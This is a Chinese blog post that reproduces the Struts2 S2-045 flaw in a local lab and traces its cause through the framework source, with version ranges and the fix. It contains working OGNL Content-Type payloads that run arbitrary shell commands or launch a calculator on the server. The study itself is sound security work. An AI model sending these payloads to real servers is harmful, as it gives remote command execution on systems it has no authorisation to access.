S2-045本地复现与分析

环境搭建:win10   eclipes ee    struts2.3.20   tomcat8

搭建好的环境:

链接:https://pan.baidu.com/s/1mChEMcWRlKALdu9Ikce8OQ 
提取码:uisj 

漏洞构造条件只需模拟Struts2上传发包即可,所以我简单写了个登录校验来复现此漏洞

导入基础jar包放置在项目lib目录下

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

    <display-name>Struts Blank</display-name>

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>
</web-app>

struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
	"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
	"http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>

    <constant name="struts.enable.DynamicMethodInvocation" value="false" />
    <constant name="struts.devMode" value="true" />

    <package name="s2-045" namespace="/" extends="struts-default">
        <action name="loginPro" class="com.au.struts.action.LoginAction">
           <result>/welcome.jsp</result>
           <result name="error">/error.jsp</result>
        </action>
        
        <action name="*">
			<result>/{1}.jsp</result>
		</action>
    </package>
</struts>

包下创建LoginAction

package com.au.struts.action;


import com.opensymphony.xwork2.Action;

public class LoginAction implements Action {
	private String username;
	private String password;
	
	public String getUsername() {
		return username;
	}

	public void setUsername(String username) {
		this.username = username;
	}

	public String getPassword() {
		return password;
	}

	public void setPassword(String password) {
		this.password = password;
	}

	@Override
	public String execute() throws Exception {
		if("admin".equals(getUsername())&&"password".equals(getPassword())){
			return SUCCESS;
		}
		return ERROR;
	}
	
}

login.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<s:form action="loginPro">
    <s:textfield name="username" key="username"/>
    <s:password name="password" key="password" />
    <s:submit/>
</s:form>
</body>
</html>

welcome.jsp

​
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
登录成功
</body>
</html>

​

error.jsp

​
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
登录失败
</body>
</html>

​

我的tomcat默认的是8080端口,burp默认也是8080,会冲突,所以我把burp的端口修改为8089

设置浏览器代理,运行login.jsp,点击提交

修改content-type字段

随便找了几个POC:

任意命令

Content-Type:"%{(#xxx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

解释:

 来获取上下文容器

#container=#context['com.opensymphony.xwork2.ActionContext.container']

通过容器实例化,对Ognl API的通用访问,设置和获取属性。

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class 

  判断目标主机的操作系统类型,并进行执行命令赋值

#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })

执行攻击命令

#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) 

弹计算器:

Content-Type:  
multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

成功执行

漏洞分析:

struts2的核心是拦截器,漏洞成因就是struts-default中的处理上传拦截器jakarta组件,会解析错误信息里的ognl表达式并执行

struts-default.xml中配置

<bean type="org.apache.struts2.dispatcher.multipart.MultiPartRequest" name="jakarta" class="org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest" scope="prototype"/>

struts2运行机制会首先执行StrutsPrepareAndExecuteFilter类,

然后对输入请求对象request的进行封装调用执行到Dispatcher类的wrapRequest方法

下图if判断是否为struts2上传,我们弹计算器的 poc 就构造了multipart/form-data 满足if条件  

getMultiPartRequest()方法则使其默认就使用上述拦截器即解析类,从而引发了漏洞

org.apache.struts2.dispatcher.Dispatcher类wrapRequest方法838行设置断点进入MultiPartRequestWrapper

 单步调试,此时调用JakartaMultiPartRequest类parse方法进行解析请求,进入函数

parse方法中,processUpload方法触发异常,在下面捕获到该异常 (Content-Type异常)

并且将异常信息传入JakartaMultiPartRequest类buildErrorMessage方法

进入buildErrorMessage方法返回LocalizedTextUtil.findText方法

e.getMessage()就是获取我们上一张图的报错信息,其中就有构造的payload,继续单步

来到LocalizedTextUtil.findText方法 

返回findText()方法,进入该方法,上图defaultMessage参数被传入,继续调试

进入getDefaultMessage方法,defaultMessage赋给message,translateVariables方法带入此参数

顾名思义,我们构造的ognl表达式被执行。我们不再进入,直接运行,poc被执行。

总结:

漏洞成因:

Struts2默认解析上传文件的Content-Type头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码。

影响范围:

Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

官方修复:

升级,补丁去掉方法: LocalizedTextUtil.findText(......);

tip:分析原理及过程时,也可通过官方修复的代码或文档来对照快速定位关键代码进行调试分析。

自己动手实践分析,确实比看别人的强啊~

发布了67 篇原创文章 · 获赞 50 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/Auuuuuuuu/article/details/87305501